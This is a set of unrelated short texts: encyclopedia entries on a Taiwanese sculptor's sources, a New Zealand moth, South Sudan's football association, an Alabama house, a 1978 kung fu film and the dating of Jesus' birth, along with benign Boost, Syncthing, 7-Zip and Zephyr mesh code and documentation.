Mary Ann Gillies, Helen Sword and Steven Yao (eds.), Pacific Rim Modernisms. Toronto (University of Toronto Press) 2009
Saburo Ienaga, Taiheyo Senso (=The Pacific War). Tokyo (Iwanami Shoten) 1968.
Saburo Ienaga, The Pacific War, 1931–1945 : A Critical Perspective on Japan's Role in World War II. Transl. by Frank Baldwin. New York (Pantheon Books) 1978
Yuko Kikuchi (ed.), Refracted Modernity: Visual Culture and Identity in Colonial Taiwan, Honolulu (University of Hawaii Press) 2007
Michael Lackner et al. (eds.), New Terms for New Ideas: Western Knowledge and Lexical Change in Late Imperial China. Leiden (Brill) 2001
Hsien-tsung Lai, “Chāoyuè fúshì de yìshù guānghuá 超越浮世的藝術光華 ”, in: The Liberty Times (Taipei), 3 November 2005 (print edition). Identical online version: English translation: Shen-chon Lai [Hsien-tsung Lai], "A Glow of Art That Transcends the Floating World. (…)", in: Art in Society (ISSN 1618-2154), No.12, – A book publication by Columbia University Press refers to the article in this way: The Glory of Transcendent Art. See: Lingzhen Wang, Chinese Women's Cinema: Transnational Contexts. NY (Columbia U.P.) 2011, p. 153.
Jen-yi Lai, Cultural Identity and the Making of Modern Taiwanese Painting During the Colonial Period (1895–1945). Ann Arbor, MI (UMI) 2009. (Ph.D.thesis)
Mei-xue Ling (staff reporter), “Xiàndài yìshù zuòpǐn shǒu lì huángqīngchéng diāosù zhǐdìng wéi zhòngyào gǔwù 現代藝術作品首例 黃清埕雕塑指定為重要古物 (Huang Ching-cheng's Sculpture is the first modern art work designated as an important national heritage )”, in: The Liberty Times, 25 March 2009
Barbara Mittler, Dangerous Tunes: The Politics of Chinese Music in Hong Kong, Taiwan, and the People's Republic of China. Wiesbaden: 1997
Chuan-ying Yen, “The Art Movement in the 1930s in Taiwan,” in: John Clark (ed.), Modernity in Asian Art. Sydney (Wild Peony) 1993, pp. 45–58.
Chuan-ying Yen (顏娟英), “Diantang zhong de meishu: Taiwan zaoqi xiandai meishu yu wenhua qimeng (The Glamour of Modern Art: Early Modern Painting and Cultural Enlightenment in Taiwan)”, in: Bulletin of the Institute of History and Philology, Academia Sinica (Taipei), vol. 64, no. 2 (1993), pp. 469–610.
Chuan-ying Yen, “Riju shiqi Taiwan meishushi de yanjiu (Research on Taiwanese art under Japanese rule)”, in: Proceedings of the Conference Minguo yilai guoshi yanjiu de huigu yu zhanwang (A Review and Prospect of Research on National History since the Minguo Period), Department of History, National Taiwan University. Taipei (National Taiwan University) 1992; vol. 2.
Chuan-ying Yen, “Riju shiqi Taiwan meishu dashi nianbiao, 1895–1944,” in: Yishu xue (Art Studies), vol.8 (1992), pp. 57–98.
Chuan-ying Yen, Taiwan jindai meishu dashi nianbiao 1895–1945 (Chronological Table of Modern Taiwanese Art 1895–1945). Taipei (Xiongshi) 1998.
Chuan-ying Yen, “Taiwan zaoqi xiyang meishu de fazhan” (Development of Taiwan's Early Western Art), in: Yishujia (Artist Magazine), issue 168 (1989), pp. 142–65; issue 169 (1989), pp. 140–61; issue 170 (1990), pp. 178–91.
Baiyuan Wang, “Taiwan meishu yundong shi (History of Taiwan's Art Movements)”, in: Taipei Wenwu, vol.3, no.4 (March 1955), pp. 16–65. – According to Jen-yi Lai, this was “the first publication to provide a survey of the “new art” pioneered by Japanese-educated Taiwanese.” (Jen-yi Lai,Cultural Identity and the Making of Modern Taiwanese Painting During the Colonial Period (1895–1945). Ann Arbor, MI (UMI) 2009, p. 3)
Yigang Wang (pseudonym of Wang Baiyuan), “Taizhan, fuzhan [Taiten, Futen]", in: Taipei wenwu, vol.3, no.4 (March 1955), pp. 65–69. This essay focuses on official art exhibitions of the Japanese colonial period. Taiten was the most important expo that took place in Taiwan. It was organized by the Colonial government.
External links
Ya-li Chen, “Taiwanese sculptors during the Japanese Occupation period”, in: Taiwan Culture, (Ed. and published by the Ministry of Culture, Taipei), 20 Oct,. 2009. -The article lists Tushui Huang (Huang Tu-shui), Huang Ching-cheng, Hsia-yu Chen (Chen Hsia-yu) and Tien-sheng Pu (Pu Tien-sheng) as the four "most important sculptors" in Colonial Taiwan when that island was ruled by the Japanese government (from 1895 till August 1945).
Xiāo Cǎihuá 蕭彩華 (author), "黃清呈 Ching Cheng Huang"(article), in: Encyclopedia of Taiwan
"Artist's biography 藝 術 家 小 傳 ", in: “Huang Ching-cheng: Study of A Head 黃清埕 , 頭像.”, Kaohsiung Museum of Fine Arts (高雄市立美術館館長 ) website.
Ministry of Culture, Bureau of Cultural Heritage (ed.), "Huáng Qīngchéng; tóuxiàng黃清埕／頭像 (Statements on) "Ching Cheng Huang, ‘Study of A Head’",
G. Huang (Huáng Guāngnán黃光男 ) and X. Liao (Liào Xīntián廖新田 ), "Táiwān měishù zǒng lùn 臺灣美術總論 (General Taiwan Art Theory)", in : Encyclopedia of Taiwan (published by the Ministry of Culture). Also online:
N. N., "Huáng Qīngchéng tóuxiàng yìnxiàngpài zuìzǎo táiwān diāosù / Huang Ching-cheng's Study of A Head – the earliest Impressionist sculpture", in: The Merit Times, 25 March 2009. Also online:
Yín-huì Wu (reporting from Taipei), "Huáng Tǔ-shuǐ niú diāo xiàndài yìshù shǒu liè guóbǎo / Huáng Tǔ-shuǐ’s Buffalo carved out the first place among the national treasures of modern art", in: China Times, 25 March 2009 (Printed version). – Also online: – Y.-h. Wu reports: “(…) With the note issued on March 2 by the Council for Cultural Affairs, Cultural Asset Management Preparatory Office, Zhao Mengfu of the National Palace Museum designated Huang Tu-shui’sculpture ‘The South (Water Buffaloes)’ (= Nánguó (shuǐniú qúnxiàng)), which is part of the Taipei Zhongshan Hall Collection, a national treasure, while Huang Ching-Cheng's ‘Study of A Head’ (Touxiang) was designated an important cultural treasure. [...]".
1912 births
1940s missing person cases
1943 deaths
20th-century Chinese sculptors
Chinese sculptors
Civilians killed in World War II
People from Penghu County
People lost at sea
Taiwanese sculptors |
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<div class="titlepage"><div><div><h2 class="title" style="clear: both">
<a name="the_type_traits_introspection_library.tti_detail_has_static_member_function"></a><a class="link" href="tti_detail_has_static_member_function.html" title="Introspecting static member function">Introspecting
static member function</a>
</h2></div></div></div>
<p>
The TTI macro <code class="computeroutput"><a class="link" href="../BOOST_TTI_HAS__idp36912464.html" title="Macro BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</a></code>
introspects a static member function of a class.
</p>
<p>
BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION takes a single parameter which is the
name of an inner static member function whose existence the programmer wants
to check. The macro generates a metafunction called "has_static_member_function_'name_of_inner_static_member_function'".
</p>
<p>
The metafunction can be invoked in two different ways.
</p>
<p>
The first way is by passing it the enclosing type to introspect and a signature
for the static member function as separate template arguments. The signature
for the static member function consists of a return type, optional parameter
types in the form of a boost::mpl forward sequence of types, and an optional
Boost FunctionTypes tag type. A typical boost::mpl forward sequence of types
is a boost::mpl::vector<>.
</p>
<p>
The second way is by passing it the enclosing type to introspect and a signature
for the static member function as a function. The function has the form of:
</p>
<pre class="programlisting"><span class="identifier">Return_Type</span> <span class="special">(</span> <span class="identifier">Parameter_Types</span> <span class="special">)</span>
</pre>
<p>
where the Parameter_Types may be empty, or a comma-separated list of parameter
types if there are more than one parameter type.
</p>
<p>
The metafunction returns a single type called 'type', which is a boost::mpl::bool_.
As a convenience the metafunction returns the value of this type directly as
a compile time bool constant called 'value'. This is true or false depending
on whether the inner static member function, of the specified signature, exists
or not.
</p>
<h4>
<a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h0"></a>
<span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.generating_the_metafunction"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.generating_the_metafunction">Generating
the metafunction</a>
</h4>
<p>
You generate the metafunction by invoking the macro with the name of an inner
static member function:
</p>
<pre class="programlisting"><span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">AStaticMemberFunction</span><span class="special">)</span>
</pre>
<p>
generates a metafunction called 'has_static_member_function_AStaticMemberFunction'
in the current scope.
</p>
<h4>
<a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h1"></a>
<span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.invoking_the_metafunction"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.invoking_the_metafunction">Invoking
the metafunction</a>
</h4>
<p>
You invoke the metafunction by instantiating the template with an enclosing
type to introspect and the signature of the static member function as a series
of template parameters. Alternatively you can invoke the metafunction by passing
it an enclosing type and the signature of the static member function as a single
function type.
</p>
<p>
A return value called 'value' is a compile time bool constant.
</p>
<pre class="programlisting"><span class="identifier">has_static_member_function_AStaticMemberFunction</span>
<span class="special"><</span>
<span class="identifier">Enclosing_Type</span><span class="special">,</span>
<span class="identifier">StaticMemberFunction_ReturnType</span><span class="special">,</span>
<span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special"><</span><span class="identifier">StaticMemberFunction_ParameterTypes</span><span class="special">>,</span> <span class="comment">// optional, can be any mpl forward sequence</span>
<span class="identifier">boost</span><span class="special">::</span><span class="identifier">function_types</span><span class="special">::</span><span class="identifier">SomeTagType</span> <span class="comment">// optional, can be any FunctionTypes tag type</span>
<span class="special">>::</span><span class="identifier">value</span>
<span class="identifier">OR</span>
<span class="identifier">has_static_member_function_AStaticMemberFunction</span>
<span class="special"><</span>
<span class="identifier">Enclosing_Type</span><span class="special">,</span>
<span class="identifier">Return_Type</span> <span class="special">(</span> <span class="identifier">Parameter_Types</span> <span class="special">)</span>
<span class="special">>::</span><span class="identifier">value</span>
</pre>
<h4>
<a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h2"></a>
<span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.examples"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.examples">Examples</a>
</h4>
<p>
First we generate metafunctions for various inner static member function names:
</p>
<pre class="programlisting"><span class="preprocessor">#include</span> <span class="special"><</span><span class="identifier">boost</span><span class="special">/</span><span class="identifier">tti</span><span class="special">/</span><span class="identifier">has_static_member_function</span><span class="special">.</span><span class="identifier">hpp</span><span class="special">></span>
<span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function1</span><span class="special">)</span>
<span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function2</span><span class="special">)</span>
<span class="identifier">BOOST_TTI_HAS_STATIC_MEMBER_FUNCTION</span><span class="special">(</span><span class="identifier">function3</span><span class="special">)</span>
</pre>
<p>
Next let us create some user-defined types we want to introspect.
</p>
<pre class="programlisting"><span class="keyword">struct</span> <span class="identifier">AClass</span> <span class="special">{</span> <span class="special">};</span>
<span class="keyword">struct</span> <span class="identifier">Top</span>
<span class="special">{</span>
<span class="keyword">static</span> <span class="keyword">int</span> <span class="identifier">function1</span><span class="special">();</span>
<span class="keyword">static</span> <span class="identifier">AClass</span> <span class="identifier">function2</span><span class="special">(</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*);</span>
<span class="special">};</span>
<span class="keyword">struct</span> <span class="identifier">Top2</span>
<span class="special">{</span>
<span class="keyword">static</span> <span class="keyword">long</span> <span class="identifier">function2</span><span class="special">(</span><span class="identifier">Top</span> <span class="special">&,</span><span class="keyword">int</span><span class="special">,</span><span class="keyword">bool</span><span class="special">,</span><span class="keyword">short</span><span class="special">,</span><span class="keyword">float</span><span class="special">);</span>
<span class="keyword">static</span> <span class="identifier">Top</span> <span class="special">*</span> <span class="identifier">function3</span><span class="special">(</span><span class="keyword">long</span><span class="special">,</span><span class="keyword">int</span><span class="special">,</span><span class="identifier">AClass</span> <span class="special">&);</span>
<span class="special">};</span>
</pre>
<p>
Finally we invoke our metafunction and return our value. This all happens at
compile time, and can be used by programmers doing compile time template metaprogramming.
</p>
<p>
We will show both forms in the following examples. Both forms are completely
interchangeable as to the result desired.
</p>
<pre class="programlisting"><span class="identifier">has_static_member_function_function1</span><span class="special"><</span><span class="identifier">Top</span><span class="special">,</span><span class="keyword">int</span><span class="special">>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span>
<span class="identifier">has_static_member_function_function1</span><span class="special"><</span><span class="identifier">Top</span><span class="special">,</span><span class="keyword">int</span> <span class="special">()>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span>
<span class="identifier">has_static_member_function_function1</span><span class="special"><</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">int</span><span class="special">>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span>
<span class="identifier">has_static_member_function_function2</span><span class="special"><</span><span class="identifier">Top</span><span class="special">,</span><span class="identifier">AClass</span><span class="special">,</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special"><</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*></span> <span class="special">>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span>
<span class="identifier">has_static_member_function_function2</span><span class="special"><</span><span class="identifier">Top2</span><span class="special">,</span><span class="identifier">AClass</span><span class="special">,</span><span class="identifier">boost</span><span class="special">::</span><span class="identifier">mpl</span><span class="special">::</span><span class="identifier">vector</span><span class="special"><</span><span class="keyword">double</span><span class="special">,</span><span class="keyword">short</span> <span class="special">*></span> <span class="special">>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span>
<span class="identifier">has_static_member_function_function2</span><span class="special"><</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">long</span> <span class="special">(</span><span class="identifier">Top</span> <span class="special">&,</span><span class="keyword">int</span><span class="special">,</span><span class="keyword">bool</span><span class="special">,</span><span class="keyword">short</span><span class="special">,</span><span class="keyword">float</span><span class="special">)>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true</span>
<span class="identifier">has_static_member_function_function3</span><span class="special"><</span><span class="identifier">Top2</span><span class="special">,</span><span class="keyword">int</span> <span class="special">()>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// false</span>
<span class="identifier">has_static_member_function_function3</span><span class="special"><</span><span class="identifier">Top2</span><span class="special">,</span><span class="identifier">Top</span> <span class="special">*</span> <span class="special">(</span><span class="keyword">long</span><span class="special">,</span><span class="keyword">int</span><span class="special">,</span><span class="identifier">AClass</span> <span class="special">&)>::</span><span class="identifier">value</span><span class="special">;</span> <span class="comment">// true;</span>
</pre>
<h4>
<a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.h3"></a>
<span class="phrase"><a name="the_type_traits_introspection_library.tti_detail_has_static_member_function.metafunction_re_use"></a></span><a class="link" href="tti_detail_has_static_member_function.html#the_type_traits_introspection_library.tti_detail_has_static_member_function.metafunction_re_use">Metafunction
re-use</a>
</h4>
<p>
The macro encodes only the name of the static member function for which we
are searching and the fact that we are introspecting for a static member function
within an enclosing type.
</p>
<p>
Because of this, once we create our metafunction for introspecting a static
member function by name, we can reuse the metafunction for introspecting any
enclosing type, having any static member function, for that name.
</p>
</div>
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East Inc<p>
file LICENSE_1_0.txt or copy at <a href="path_to_url" target="_top">path_to_url
</p>
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``` |
Tingena siderota is a species of moth in the family Oecophoridae. It is endemic to New Zealand and has been observed at Mount Arthur, Arthur's Pass and in the Hawkes Bay. The adults of this species are on the wing in January and are said to be abundant on the flowers of species in the genus Aciphylla.
Taxonomy
This species was first described in 1888 by Edward Meyrick using specimens collected on Mount Arthur in January. Meyrick originally named this species Cremnogenes siderota. In 1915 Meyrick placed this species within the Borkhausenia genus. In 1926 Alfred Philpott studied and illustrated the genitalia of the male of this species. George Hudson discussed and illustrated this species under the name B. siderota in his 1928 publication The butterflies and moths of New Zealand. In 1988 Dugdale placed this species in the genus Tingena. The female lectotype is held at the Natural History Museum, London.
Description
Meyrick described this species as follows:
This species can be distinguished from its close relatives because of its brilliant colour and the leaden-metallic fasciae.
Distribution
This species is endemic to New Zealand and has been observed at its type locality of Mount Arthur as well as Arthur's Pass. This species has also been observed in the Hawkes Bay. It is regarded as being a rare species.
Behaviour
The adults of this species are on the wing in January.
Habitat
This species has been collected at altitudes of around 4500 ft and is said to be abundant on the flowers of Aciphylla.
References
Oecophoridae
Moths of New Zealand
Moths described in 1888
Endemic fauna of New Zealand
Taxa named by Edward Meyrick
Endemic moths of New Zealand |
The South Sudan Football Association (S.S.F.A.) is the governing body of football in South Sudan. It was established in April 2011 and is an affiliate of CECAFA, CAF and FIFA.
In club football, the SSFA oversee the South Sudan Football Championship, South Sudan Premier League, the national cup and Super Cup.
Formation
In April 2011, the Government of South Sudan's (GOSS) minister for Youth, Sports and Recreation, Makuac Teny Youk issued a ministerial order establishing the Provisional Football Association.
The association was in office for one year and managed, promoted and supervised football affairs in South Sudan. It was led by Oliver Mori Benjamin as President, Doub Foj Jok as Vice President, Rudolf Andera Oujika as Secretary General, and Jaden Jada Solomon as the Treasurer. It had a total of 17 members.
In May 2011, Malesh Soro was appointed as the first manager of the South Sudan national football team.
In April 2012, Chabur Goc Alei replaced Oliver Mori Benjamin as President of the South Sudan Football Association.
In June 2017, Francis Amin was elected as New President of the South Sudan Football Association.
On 22 July 2021 Augustino Maduot Parek was elected President of South Sudan Football Association, replacing Francis Amin for the next four years till 2025.
Membership of CAF, CECAFA and FIFA
In February 2011, speaking of the possibility of South Sudan joining CAF, the CAF president Issa Hayatou said: "...we are readying up with the idea of having a new member. We will send a delegation to study the situation and our actions will emanate from their report."
On 8 February 2012, CAF published their Congress Agenda which stated that CAF members would discuss the "Proposal for admission of the South Sudan Football Association (SSFA) as a member". Two days later, CAF welcomed South Sudan to its membership. On 9 May, South Sudan joined CECAFA.
On 25 May 2012, FIFA members approved of South Sudan becoming a member, 176 FIFA members voted in total, only 4 voted against South Sudan joining FIFA.
References
External links
South Sudan at FIFA.com
South Sudan
Football in South Sudan
Sports organizations established in 2011
Football Association
Association football governing bodies in Africa |
```objective-c
#ifndef SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H
#define SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H
#include "./internalerror.h"
#include "./textviewdialog.h"
#include <vector>
QT_FORWARD_DECLARE_CLASS(QLabel)
namespace QtGui {
class SYNCTHINGWIDGETS_EXPORT InternalErrorsDialog : public TextViewDialog {
Q_OBJECT
public:
~InternalErrorsDialog() override;
static InternalErrorsDialog *instance();
static bool hasInstance();
static void addError(InternalError &&newError);
static void addError(const QString &message = QString(), const QUrl &url = QUrl(), const QByteArray &response = QByteArray());
Q_SIGNALS:
void errorsCleared();
public Q_SLOTS:
static void showInstance();
static void clearErrors();
private Q_SLOTS:
void internalAddError(const InternalError &error);
void updateStatusLabel();
private:
InternalErrorsDialog();
const QString m_request;
const QString m_response;
QLabel *const m_statusLabel;
static InternalErrorsDialog *s_instance;
static std::vector<InternalError> s_internalErrors;
};
inline InternalErrorsDialog *InternalErrorsDialog::instance()
{
return s_instance ? s_instance : (s_instance = new InternalErrorsDialog);
}
inline bool InternalErrorsDialog::hasInstance()
{
return s_instance != nullptr;
}
inline void InternalErrorsDialog::showInstance()
{
instance()->show();
}
} // namespace QtGui
#endif // SYNCTHINGWIDGETS_INTERNAL_ERRORS_DIALOG_H
``` |
Esfandabad () may refer to:
Esfandabad, Kurdistan
Esfandabad, Tehran
Esfandabad, Yazd |
```c++
// PPMDRegister.cpp
#include "StdAfx.h"
#include "../../Common/RegisterCodec.h"
#include "PPMDDecoder.h"
static void *CreateCodec() { return (void *)(ICompressCoder *)(new NCompress::NPPMD::CDecoder); }
#ifndef EXTRACT_ONLY
#include "PPMDEncoder.h"
static void *CreateCodecOut() { return (void *)(ICompressCoder *)(new NCompress::NPPMD::CEncoder); }
#else
#define CreateCodecOut 0
#endif
static CCodecInfo g_CodecInfo =
{ CreateCodec, CreateCodecOut, 0x030401, L"PPMD", 1, false };
REGISTER_CODEC(PPMD)
``` |
```shell
#!/usr/bin/env bash
source $(dirname "${BASH_SOURCE[0]}")/../../_mesh_test.sh
# Test that the LCD server model is able to split the
# composition data when the total size exceeds the maximum access message size.
# The test environment simulates a scenario where the server has completed DFU.
#
# Test procedure:
# 0. Provisioning and setup. Server and client has same comp data.
# 1. Client requests a sample exceeding the maximum avaialble payload from the
# server's composition data.
# 2. Client fetch its local comp data.
# 3. When server status arrive, remove status field data and compare received
# comp data with corresponding bytes in local comp data.
# 4. Client requests the next sample from server's composition data.
# 5. When server status arrive, remove status field data and compare received
# comp data with correspending bytes in local comp data.
# 6. Client merges the two samples and checks that the collected data is
# correctly merged, continuous, and matches its local comp data.
overlay=overlay_pst_conf
RunTest mesh_lcd_test_comp129_data_split_dfu \
lcd_srv_comp_data_status_respond \
lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1
overlay="overlay_pst_conf_overlay_psa_conf"
RunTest mesh_lcd_test_comp129_data_split_dfu \
lcd_srv_comp_data_status_respond \
lcd_cli_split_comp_data_request -- -argstest page=129 comp-changed-mode=1
``` |
Creekwood, near Creekstand, Alabama, was built c.1844. It was listed on the National Register of Historic Places in 1989. The listing included two contributing buildings.
It is a two-story, four-over-four plan house on brick and mortar piers. In the 1920s it was expanded with a two-story wing on the west and a one-story wing on the north. It has a full façade porch with Tuscan columns, and a 3/4 width upper story balustraded balcony.
References
National Register of Historic Places in Macon County, Alabama
Greek Revival architecture in Alabama
Houses completed in 1850 |
7 Grandmasters () is a 1978 kung fu film directed by Joseph Kuo, starring Lee Yi Min, Jack Long, Alan Chui Chung-San, Mark Long, Corey Yuen and Nancy Yen. It was filmed in Mandarin, as opposed to Cantonese which is more common due to Hong Kong's enormous output in the genre.
Plot
Sang Kuan Chun is an old kung fu master who is getting ready to retire from martial arts. But just as he is about to put up the king's signboard and call it quits, he receives a note alleging that he's not the best. Thus begins his journey for one last challenge with each of the Seven Grandmasters to prove his superiority. As Sang Kuan Chun and his three students travel from one challenge to the next, the foursome acquires a fifth—a young man named Siu Ying who wants desperately to train under master Sang Kuan Chun to avenge his father's death. So he tags along, despite the master's insistence that he will not accept any more students. Eventually, we learn more about the master's past.
His own teacher, before he died, left him the secret book of The Pai Mei Twelve Strikes. However, a masked man soon stole several pages of the book, leaving only nine strikes. So, somewhere out there, is this unknown man, and he has the final three strikes of Pai Mei, which are the most deadly and can beat even the other nine strikes. Sang Kuan Chun soon accepts the seemingly devout Siu Ying and teaches him the nine known strikes of Pai Mei. Siu Ying ends up learning from his “uncle” that Sang Kuan Chun (who was set up) killed his father during a friendly tournament. Siu Ying is taught the final 3 strikes by a mysterious figure and almost kills Sang Kuan Chun until he being a loyal good student couldn't break his teacher's rule of "Never kill anyone if it can be avoided". This all leads up to an exciting climax, where we learn the identity of the masked man who stole the Pai Mei final strikes and the identity of the man who killed Siu Ying's father.
Cast
Li Yi Min as Siu Ying
Alan Chui Chung-San as Ku Yi Fung
Jack Long as Sang Kuan Chun
Mark Long as Yung Chang, Sang Kuan Chun's elder student
Nancy Yen as Sang's daughter
Corey Yuen as Sun Hung
Wong Fei-lung as Sha, First Grandmaster (Guest)
Chin Yuet San as Monkey Liu (Guest)
Eagle Lee as Sang Kuan Chun's Student
Chiu Chung Hing as Sang Kuan Chun's Student
Ma Chin Ku as Nan Lin
Home media
The film was widely released in VHS, VCD, and DVD formats, both in common English and Mandarin dubbed versions. The film's distributor, Mei Ah Entertainment later released a 4K remastered version of the film on streaming services in Asian countries such as Hong Kong, Taiwan, and South Korea, with both Mandarin and a rare Cantonese dubbed version.
External links
1978 films
Taiwanese martial arts films
Kung fu films
Films directed by Joseph Kuo
Hong Kong martial arts films
1970s Hong Kong films |
The date of birth of Jesus is not stated in the gospels or in any historical sources, but most biblical scholars generally accept a date of birth between 6 BC and 4 BC, the year in which King Herod died. The historical evidence is too incomplete to allow a definitive dating, but the year is estimated through three different approaches:
analysing references to known historical events mentioned in the nativity accounts in the Gospels of Luke and Matthew,
working backward from the estimation of the start of the ministry of Jesus, and
astrological or astronomical alignments.
The common Christian traditional dating of the birthdate of Jesus was 25 December, a date first asserted officially by Pope Julius I in 350 AD, although this claim is dubious or otherwise unfounded. The day or season has been estimated by various methods, including the description of shepherds watching over their sheep.
Year of birth
Nativity accounts
The nativity accounts in the New Testament gospels of Matthew and Luke do not mention a date or time of year for the birth of Jesus. Karl Rahner states that the authors of the gospels generally focused on theological elements rather than historical chronologies.
Both Luke and Matthew associate Jesus' birth with the time of Herod the Great. Matthew 2:1 states that "Jesus was born in Bethlehem of Judaea in the days of Herod the king". He also implies that Jesus could have been as much as two years old at the time of the visit of the Magi, because Herod ordered the murder of all boys up to the age of two years (Massacre of the Innocents), "in accordance with the time he had learned from the Magi" Matthew 2:16. In addition, if the phrase "about 30" in Luke 3:23 is interpreted to mean 32 years old, this could fit a date of birth just within the reign of Herod, who died in 4 BC according to most scholars.
Luke 1:5 mentions the reign of Herod shortly before the birth of Jesus. This Herod died in 4 BC. Luke 2:1-2 also places the birth during a census decreed by Caesar Augustus, when Quirinius was governing Judah. Some interpreters of Luke determine that this was the Census of Quirinius, which the Jewish historian Josephus described as taking place circa AD 6 in his book Antiquities of the Jews (written c. AD 93), by indicating that Cyrenius/Quirinius began to be the governor of Syria in AD 6 and a census took place during his tenure sometime between AD 6–7. Since Herod died a decade before this census, most scholars Luke 2:1-2 and generally accept a date of birth between 6 and 4 BC. On the other hand, a census was not a unique event in the Roman Empire. For example, Tertullian argued that a number of censuses were performed throughout the Roman world under Sentius Saturninus at the same time. Some biblical scholars and commentators believe the two accounts can be harmonized, arguing that the text in Luke can be read as "registration before (πρώτη) Quirinius was governor of Syria", i.e., that Luke was actually referring to a completely different census, though this understanding of the Greek word has been rejected by scholars.
Other gospel evidence
Another approach to estimating the year of birth is based on an attempt to work backwards from the point when Jesus began preaching, using the statement in Luke 3:23 that he was "about 30 years of age" at that time. Jesus began to preach after being baptized by John the Baptist, and based on Luke's gospel John only began baptizing people in "the fifteenth year of the reign of Tiberius Caesar" (Luke 3:1–2), which scholars estimate would place the year at about AD 28–29. By working backwards from this, it would appear that Jesus was probably born no later than 1 BC. Another theory is that Herod's death was as late as after the January eclipse of 1 BC or even AD 1 after the eclipse that occurred in 1 December BC.
Luke's date is independently confirmed by John's reference in John 2:20 to the Temple being in its 46th year of construction when Jesus began his ministry during Passover, which corresponds to around 27–29 AD according to scholarly estimates.
Theories based on the Star of Bethlehem
Most scholars regard the Star of Bethlehem account to be a pious fiction, of literary and theological value, rather than historical. Nonetheless, attempts have been made to interpret it as an astronomical event, which might then help date Jesus' birth through the use of ancient astronomical records, or modern astronomical calculations. The first such attempt was made by Johannes Kepler who interpreted the account to describe a Great Conjunction.
Other astronomical events have been considered, including a close planetary conjunction between Venus and Jupiter in 2 BC.
Date of Herod's death
Most scholars concerning the date of Herod's death follows Emil Schürer's calculations published in 1896, which revised a traditional death date of 1 BC to 4 BC. Two of Herod's sons, Archelaus and Philip the Tetrarch, dated their rule from 4 BC, though Archelaus apparently held royal authority during Herod's lifetime. Philip's reign would last for 37 years, until his death in the traditionally accepted 20th year of Tiberius (AD 34), which implies his accession as 4 BC.
In 1998, Beyer published that the oldest manuscripts of Josephus’s Antiquities have the death of Philip in the 22nd year of Tiberius (and not the 20th year, as shown in later editions of the Atiquities). In the British Library, there is not a single manuscript prior to AD 1544 that has the traditionally accepted 20th year of Tiberius for the death of Philip. This evidence removes the main obstacle for a later date of 1 BC for the death of Herod. Some other scholars also support the traditional date of 1 BC for Herod's death, and argue that his heirs backdated their reigns to 4 or 3 BC to assert an overlapping with Herod's rule and bolster their own legitimacy, something that had already been done by a few rulers before them.
According to Dionysius Exiguus: the Anno Domini system
The Anno Domini dating system was devised in 525 by Dionysius Exiguus to enumerate the years in his Easter table. His system was to replace the Diocletian era that had been used in older Easter tables, as he did not wish to continue the memory of a tyrant who persecuted Christians. The last year of the old table, Diocletian Anno Martyrium 247, was immediately followed by the first year of his table, Anno Domini 532. When Dionysius devised his table, Julian calendar years were identified by naming the consuls who held office that year — Dionysius himself stated that the "present year" was "the consulship of Probus Junior", which was 525 years "since the incarnation of our Lord Jesus Christ". Thus, Dionysius implied that Jesus' incarnation occurred 525 years earlier, without stating the specific year during which his birth or conception occurred. "However, nowhere in his exposition of his table does Dionysius relate his epoch to any other dating system, whether consulate, Olympiad, year of the world, or regnal year of Augustus; much less does he explain or justify the underlying date."
Bonnie J. Blackburn and Leofranc Holford-Strevens briefly present arguments for 2 BC, 1 BC, or AD 1 as the year Dionysius intended for the Nativity or Incarnation. Among the sources of confusion are:
In modern times, Incarnation is synonymous with the conception, but some ancient writers, such as Bede, considered incarnation to be synonymous with the Nativity.
The civil or consular year began on 1 January, but the Diocletian year began on 29 August (30 August in the year before a Julian leap year).
There were inaccuracies in the lists of consuls.
There were confused summations of emperors' regnal years.
It is not known how Dionysius established the year of Jesus's birth. Two major theories are that Dionysius based his calculation on the Gospel of Luke, which states that Jesus was "about thirty years old" shortly after "the fifteenth year of the reign of Tiberius Caesar" (AD 28), and hence subtracted thirty years from that date, or that Dionysius counted back 532 years from the first year of his new table. Another possibility is that Dionysius tried to follow the works of ancient historians such as Tertullian, Eusebius or Epiphanius, all of whom agree that Jesus was born in 2 BC.
